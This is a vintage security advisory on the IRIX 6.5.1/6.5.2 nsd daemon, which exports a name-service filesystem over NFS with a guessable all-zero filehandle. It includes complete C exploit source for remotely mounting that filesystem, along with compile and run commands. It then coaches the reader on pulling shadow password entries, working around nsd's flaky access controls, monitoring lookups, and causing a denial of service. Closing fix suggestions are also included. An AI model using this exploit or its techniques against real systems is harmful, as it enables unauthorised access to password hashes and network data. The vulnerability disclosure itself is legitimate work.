COMMAND

    nsd VFS

SYSTEMS AFFECTED

    IRIX 6.5.1|2 and prior

PROBLEM

    Jefferson Ogata (JO317)  found following.   Please note that  this
    program  comes  with  NO  WARRANTY  WHATSOEVER.   Your use of this
    program constitutes your complete acceptance of all liability  for
    any damage or loss caused by the aforesaid use.  It is provided to
    the  network  community  solely  to  document  the  existence of a
    vulnerability in the security implementations of certain  versions
    of IRIX, and may not be used for any illicit purpose.  Many of the
    details of the  bug this program  exploits have been  available to
    users of SGI's  online support system  since February 1999.   With
    IRIX 6.5, SGI has moved  all name services, NIS services,  and DNS
    lookups  into  a  userland  process  called nsd, which exports the
    results of the queries it  fields into a virtual filesystem.   The
    virtual filesystem is normally  mounted onto the directory  /ns by
    the program  /sbin/nsmount, which  is invoked  by nsd  on startup.
    The nsd daemon itself is exporting the filesystem via NFS3 over  a
    dynamically bound UDP port -- rather than a well-known or settable
    one -- typically in the 1024-1029 range. On a desktop system, 1024
    is a good bet, since nsd  is usually the first RPC/UDP service  to
    be started.

    The NFS filesystem is not  registered with mountd, so there  is no
    way to query mountd for a  mount filehandle.  But because the  NFS
    port is fairly easy to discover through port scanning, and because
    the mount filehandle nsd uses is simply a string of 32 zeroes,  it
    is trivial to mount the nsd filesystem from a host anywhere on the
    Internet.   nsd will  serve an  array of  NFS requests  to anyone.
    Furthermore, because the service's NFS port is bound  dynamically,
    it is difficult to protect it with a firewall; it may change  from
    one  system  start  to  another,  or  if  the daemon is killed and
    restarted.  This program  can successfully mount the  nsd-exported
    virtual filesystem from a remote host onto a machine running  IRIX
    6.4 or higher.  It makes use of the MS_DOXATTR mount flag  defined
    in  IRIX  6.4  and  higher.   It  is  not known at momemnt of this
    writing what  this flag  does at  the NFS  protocol level,  but it
    allows the  client to  ask the  NFS server  not to enforce certain
    permissions controls  against the  client.   It is  also not known
    whether any other vendor NFS client systems support this flag.   A
    clever person might write a userland NFS client that would  accept
    an initial handle, NFS  port, etc. as arguments.   On an SGI  with
    SGI C compiler, compile with:

        cc -o nsdadv nsdadv.c

    Run it this way:

        nsdadv /mnt sucker.example.com 1024

    with obvious substitutions.  So what are the security implications
    of this?  Well,  at the very least,  the nsd filesystem on  an NIS
    server reveals the NIS domain name, and what maps it contains,  as
    well as what classes are being used.  By exploring the  filesystem
    shortly after  it has  been mounted  one will  be able to retrieve
    data that  should be  hidden from  you, including  shadow password
    entries from  a remote  system's shadow  file.   Beyond retrieving
    keys and maps, you can also monitor the filesystem for changes.  A
    great deal of  information is leaked  through the contents  of the
    nsd filesystem.   For example, if  host A looks  up a host  B's IP
    address, a file  named B will  appear in the  /.local/hosts.byname
    directory in A's nsd filesystem.  The file's contents will be  the
    IP address.

    By  the  way,  though  you  be  unable  to chdir into a particular
    location in the nsd filesystem, you may yet succeed under slightly
    different conditions.  Eventually you can do it.  Not sure why  or
    when,  but  nsd  gets  picky  sometimes.   Eventually  it relents.
    Specifically, it was found that the entire nsd filesystem  appears
    readable for a few seconds after it is initially mounted.  If  you
    can't look at something,  unmount the filesystem, remount  it, and
    try again immediately.  It  also seems that a stat()  is sometimes
    required  before  a  chdir().   Your  mileage  may  vary, but keep
    trying.   You  may  wish  to  write  a  script  to  mount  the nsd
    filesystem,  explore  and  take  inventory  of  its  contents, and
    unmount  the  filesystem  quickly.   Once  you've  chdir'd  into a
    directory, it appears you can  always read it, although you  can't
    necessarily  stat  its  contents.   This  suggests  a  strategy of
    spawning  a  group  of  processes  each  with  its  cwd  set  to a
    subdirectory of the nsd filesystem, in order to retain  visibility
    on  the  entire  filesystem.   Each  process  would  generate   an
    inventory of  its cwd,  and then  monitor it  for changes.  A Perl
    script could do this well.

    Another thing:  it is  possible to  create an  empty file in nsd's
    exported filesystem  simply by  stat()ing a  nonexistent filename.
    This  suggests  a  potential  DoS  by  creating  many  files  in a
    directory.   Remember  that  the  system  keeps  a  local cache in
    /var/ns, so you may have to wait for cached entries on the  target
    host to  expire before  you'll see  them reappear  in the  virtual
    filesystem.   For   some  fairly   extensive  info   on  the   nsd
    implementation, take a look at:

        http://www.bitmover.com/lm/lamed_arch.html

    Exploit follows:

    #include <stdio.h>
    #include <string.h>
    #include <malloc.h>
    #include <mntent.h>
    #include <sys/types.h>
    #include <rpc/types.h>
    #include <sys/fstyp.h>
    #include <sys/fsid.h>
    #include <sys/mount.h>
    #include <sys/fs/nfs.h>
    #include <sys/fs/nfs_clnt.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <arpa/inet.h>

    /* Filesystem type name for nsd-exported filesystem. */
    #define NSD_FSTYPE      "nfs3"

    /* File the records mounted filesystems. */
    #define MTAB_FILE       "/etc/mtab"

    /* Socket address we'll fill in with our destination IP and port. */
    struct sockaddr_in sin;

    /* All zero file handle. This appears to be the base handle for the nsd
       filesystem. Great security, huh? */
    unsigned char fh[NFS_FHSIZE] = { 0 };

    /* NFS mount options structure to pass to mount(2). The meanings of these
       are documented to some extent in /usr/include/sys/fs/nfs_clnt.h. The
       flags field indicates that this is a soft mount without log messages,
       and to set the initial timeout and number of retries from fields in
       this structure. The fh field is a pointer to the filehandle of the
       mount point, whose size is set by fh_len. As noted above, the mount
       point filehandle is just 32 zeroes. */
    struct nfs_args nx =
    {
        &sin,               /* addr */
        (fhandle_t *) fh,   /* fh */
        NFSMNT_SOFT|NFSMNT_TIMEO|NFSMNT_RETRANS|NFSMNT_NOAC,        /* flags */
        0,                  /* wsize */
        0,                  /* rsize */
        100,                /* timeo */
        2,                  /* retrans */
        0,                  /* hostname */
        0,                  /* acregmin */
        0,                  /* acregmax */
        0,                  /* acdirmin */
        0,                  /* acdirmax */
        0,                  /* symttl */

        { 0 },              /* base */

        0,                  /* namemax */
        NFS_FHSIZE,         /* fh_len */
        /* On IRIX 6.4 and up there are also the following... */
                            /* bdsauto */
                            /* bdswindow */
        /* On IRIX 6.5 there are also the following... */
                            /* bdsbuflen */
                            /* pid */
                            /* maxthreads */
    };

    void usage (void)
    {
        fprintf (stderr, "usage: nsmount_remote directory host port\n\n");
        fprintf (stderr, "NFS-mounts the virtual filesystem exported by nsd on <host> via NSD daemon\n");
        fprintf (stderr, "port <port> onto <directory>.\n\n");
        exit (1);
    }

    int main (int argc, char **argv)
    {
        char                *dir;
        char                *host;
        char                *ports;
        int                 port;
        struct hostent      *h;
        int                 fstype;
        FILE                *mtabf;
        struct mntent       mnt =
        {
            0,
            0,
            NSD_FSTYPE,
            "soft,timeo=100,retrans=2",
            0,
            0,
        };

        if (argc != 4)
            usage ();

        dir = argv[1];
        host = argv[2];
        port = atoi ((ports = argv[3]));

        /* Prepare for host lookup. */
        memset ((void *) &sin, 0, sizeof (sin));
        sin.sin_family = 2;
        sin.sin_port = port;

        /* Look up the host. */
        if (inet_aton (host, &sin.sin_addr))
            ;
        else if ((h = gethostbyname (host)))
        {
            unsigned long   *l = (unsigned long *) *(h->h_addr_list);
            sin.sin_addr.s_addr = l[0];
        }
        else
        {
            fprintf (stderr, "Cannot resolve host %s.\n", host);
            return 1;
        }

        /* Get filesystem type index for nsd filesystem type. */
        if ((fstype = sysfs (GETFSIND, NSD_FSTYPE)) < 0)
        {
            perror ("sysfs (" NSD_FSTYPE ")");
            return 1;
        }

        fprintf (stderr, "Mounting nsd " NSD_FSTYPE " fs from %s(%s):%d onto %s\n",
            host, inet_ntoa (sin.sin_addr), port, dir);

        /* These flags are documented in /usr/include/sys/mount.h. MS_DOXATTR
           means "tell server to trust us with attributes" and MS_DATA means
           "6-argument mount".

           MS_DOXATTR is a mount option in IRIX 6.4 and up. The attack doesn't
           seem to work without this option. So even though this program will
           compile on IRIX 6.2, you need to use an IRIX 6.4 or higher OS to
           attack nsd. */
        if (mount (dir, dir, MS_DOXATTR|MS_DATA, (char *) fstype, &nx, sizeof (nx))
            != 0)
        {
            perror ("mount");
            return 1;
        }

        /* Record mount point in /etc/mtab. */
        mnt.mnt_fsname = malloc (strlen (host) + sizeof (":nsd@") + strlen (ports) + 1);
        sprintf (mnt.mnt_fsname, "%s:nsd@%s", host, ports);
        mnt.mnt_dir = dir;
        if (!(mtabf = setmntent (MTAB_FILE, "r+")))
        {
            perror ("setmntent");
            return 1;
        }
        if (addmntent (mtabf, &mnt) < 0)
        {
            perror ("addmntent");
            return 1;
        }
        if (endmntent (mtabf) < 0)
        {
            perror ("endmntent");
            return 1;
        }

        return 0;
    }

SOLUTION

    Without going back,  SGI could at  least make nsd  respond only to
    queries from  localhost (see  note below  about IRIX  6.5.3).  The
    problem here is that they actually intend to support remote mounts
    in later releases, in order to supplement or supplant other  means
    of distribution.   The web  documents indicate  this.   They could
    create a well-randomized mount  filehandle for the filesystem  and
    pass  that  to  nsmount.  Then  you  couldn't  remotely  mount the
    filesystem  without  guessing  the  handle  --  nontrivial  with a
    32-byte handle.  At the very least, they should provide  libraries
    of  regular  BIND  resolver  routines,  file-based  getpwent, etc.
    routines,  so  one  could  choose  the resolution strategy at link
    time, perhaps by modifying the shared library path.

    With IRIX release 6.5.3, SGI  appears to have fixed this  problem,
    at least to some  degree. The exploit does  not appear to work  as
    it  does  against  6.5.2.   Further  testing  is  needed,  and the
    behavior should be watched carefully in future versions of IRIX.